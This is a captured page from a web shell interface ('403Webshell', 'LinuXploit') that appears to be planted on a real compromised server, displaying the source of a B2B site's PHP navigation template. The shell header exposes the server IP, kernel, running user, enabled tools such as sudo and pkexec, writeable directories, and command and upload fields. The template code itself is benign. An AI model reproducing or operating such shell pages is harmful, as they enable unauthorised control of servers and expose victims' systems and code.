403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bsite.hellogtx.com/application/layouts/template1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bsite.hellogtx.com/application/layouts/template1/left-navigation-role.phtml
<?php
$controllerName = Zend_Controller_Front::getInstance()->getRequest()->getControllerName();
$actionName = Zend_Controller_Front::getInstance()->getRequest()->getActionName();
$moduleName = Zend_Controller_Front::getInstance()->getRequest()->getModuleName();
$paramName = Zend_Controller_Front::getInstance()->getRequest()->getParams();
$session = new Zend_Session_Namespace('sessionLogin_user');
$active = "class='active'";
if (isset($_SESSION['sessionLogin_user']['getAgencyRolePermission']) && !empty($_SESSION['sessionLogin_user']['getAgencyRolePermission'])) {
    $checkData = $_SESSION['sessionLogin_user']['getAgencyRolePermission'];
} else {
    $checkData = array();
}

$iconArray = array(
    'MOD01' => "/public/images/leftmenu/dashboard.png",
    'MOD02' => "/public/images/leftmenu/crm-sales.png",
    'MOD03' => "/public/images/leftmenu/booking.png",
    'MOD04' => "/public/images/leftmenu/inventory.png",
    'MOD05' => "/public/images/leftmenu/gtx-network.png",
    'MOD06' => "/public/images/leftmenu/finance.png",
    'MOD07' => "/public/images/leftmenu/todolist.png",
    'MOD08' => "/public/images/leftmenu/magicbox.png",
    'MOD09' => "/public/images/leftmenu/marketing.png",
    'MOD10' => "/public/images/leftmenu/dashboard.png",
    'MOD11' => "/public/images/leftmenu/settings.png",
    'MOD12' => "/public/images/leftmenu/refer_earn.png",
    'MOD14' => "/public/images/leftmenu/reports.png",
    'MOD21' => "/public/images/leftmenu/dashboard.png",
    'MOD22' => "/public/images/leftmenu/operations.png"
);
if(!empty($checkData)) {
?>
<section id="left-navigation" class="active">
    <ul class="mainNav active">
<?php 
foreach($checkData as $key =>$val) {
    if($val['IsActive'] == '1') {
    $url  = trim($val['url']);
    if($url != "") {
          $setURL =  $this->baseUrl($url);
    } else {
         $setURL =  "javascript://";
    }
    //echo "<br>";
     $getModuleName = trim($val['ModuleName']);
   // echo "<br>";
    $getControllerName = trim($val['ControllerName']);
    $getDisplayName = trim($val['Title']);
    $displayOnLeft = trim($val['IsDisplayLeftNev']);
    $category = trim($val['ParentCode']);
    $moduleVal = trim($val['val']);
    if($displayOnLeft == '1' && $category == '0') {
?>
        <li>
            <a href="<?php echo $setURL; ?>"  <?php echo ($moduleName == $getModuleName && $controllerName == trim($getControllerName)) ? $active : ''; ?>>
                <img src="<?php if(isset($iconArray[$moduleVal])) { echo $iconArray[$moduleVal]; }?>"> <span><?php echo $getDisplayName; ?></span>
            </a>
            <?php if($setURL == 'javascript://') { ?>
            <ul>
               <?php foreach($checkData as $keySub =>$valSub) { 
                    if($valSub['IsActive'] == '1') {
                   $Subcategory = trim($valSub['ParentCode']);  
                   $getSubTitle = trim($valSub['Title']);
                   $subUrl  = trim($valSub['url']);
                     if($subUrl != "") {
                       $setSubURL =  $this->baseUrl($subUrl);
                     } else {
                       $setSubURL =  "javascript://";
                     }
                   if($moduleVal == $Subcategory) {
                ?>
                 <li><a href="<?php echo $setSubURL; ?>" <?php echo ($moduleName == $getModuleName && $actionName == $getControllerName) ? $active : ''; ?>><?php echo $getSubTitle; ?></a></li>
               <?php } } } ?>
            </ul>
            <?php } ?>
        </li>
        
<?php } } } ?>
    </ul>
    
    <div class="modal fade" id="todoreminderLeftNavModal"  tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
        <div class="modal-dialog  modal-lg">
            <div class="modal-content">
                Please wait... 
            </div>
        </div>
    </div>
</section>
<?php if (isset($session->todoreminderDetail) && count($session->todoreminderDetail) > 0) { ?>
    <div class="mail_box">
        <a href="<?php echo $this->baseUrl('/dashboard/view-all-to-do/index/type/1'); ?>" target="_blank">
            <div class="pull-left">
                <span class="btn ls-red-btn btn-round icn"><i class="fa fa-envelope-o"></i></span>
            </div>
            <div class="pull-left text-left">
                <span>To-Do/Follow-Up Alert</span><br>
    <?php echo count($session->todoreminderDetail); ?> new activity in todo list
            </div>
        </a> 
        <a class="close-panel pull-right text_white" href="javascript:void(0)" onclick="$('.mail_box').hide();"><i class="fa fa-times"></i></a>
    </div>
    <script>
        setTimeout(function () {
            $('.mail_box').fadeOut(1000);
            ;
        }, 80000);
    </script>
<?php } }  ?>
    

Youez - 2016 - github.com/yon3zu
LinuXploit